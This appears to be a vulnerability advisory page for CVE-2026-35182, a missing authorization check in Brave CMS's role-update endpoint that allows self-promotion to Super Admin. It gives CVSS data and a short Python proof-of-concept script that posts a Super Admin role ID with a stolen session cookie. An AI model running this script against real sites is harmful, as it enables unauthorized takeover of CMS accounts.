Security Vulnerability Report
中文
CVE-2026-35182 CVSS 8.8 HIGH

CVE-2026-35182

Published: 2026-04-06 20:16:27
Last Modified: 2026-04-14 15:50:57

Description

Brave CMS is an open-source CMS. Prior to 2.0.6, this vulnerability is a missing authorization check found in the update role endpoint at routes/web.php. The POST route for /rights/update-role/{id} lacks the checkUserPermissions:assign-user-roles middleware. This allows any authenticated user to change account roles and promote themselves to Super Admin. This vulnerability is fixed in 2.0.6.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ajax30:bravecms:*:*:*:*:*:*:*:* - VULNERABLE
Brave CMS < 2.0.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/rights/update-role/{user_id}" attacker_session_cookie = "laravel_session=..." # Payload configuration: Assuming '1' is the ID for Super Admin role # Replace {user_id} with the attacker's own user ID or target user ID exploit_url = target_url.replace("{user_id}", "2") payload = { "role_id": "1", # "_token": "..." // Include CSRF token if required by framework config } headers = { "Cookie": attacker_session_cookie, "Content-Type": "application/x-www-form-urlencoded" } # Send exploit request response = requests.post(exploit_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! User role updated to Super Admin.") else: print("[-] Exploit failed. Status code:", response.status_code)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35182", "sourceIdentifier": "[email protected]", "published": "2026-04-06T20:16:26.553", "lastModified": "2026-04-14T15:50:57.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Brave CMS is an open-source CMS. Prior to 2.0.6, this vulnerability is a missing authorization check found in the update role endpoint at routes/web.php. The POST route for /rights/update-role/{id} lacks the checkUserPermissions:assign-user-roles middleware. This allows any authenticated user to change account roles and promote themselves to Super Admin. This vulnerability is fixed in 2.0.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ajax30:bravecms:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.6", "matchCriteriaId": "68058898-316C-481E-A190-0E50C51A015D"}]}]}], "references": [{"url": "https://github.com/Ajax30/BraveCMS-2.0/security/advisories/GHSA-g58h-mvjw-f4hv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Ajax30/BraveCMS-2.0/security/advisories/GHSA-g58h-mvjw-f4hv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}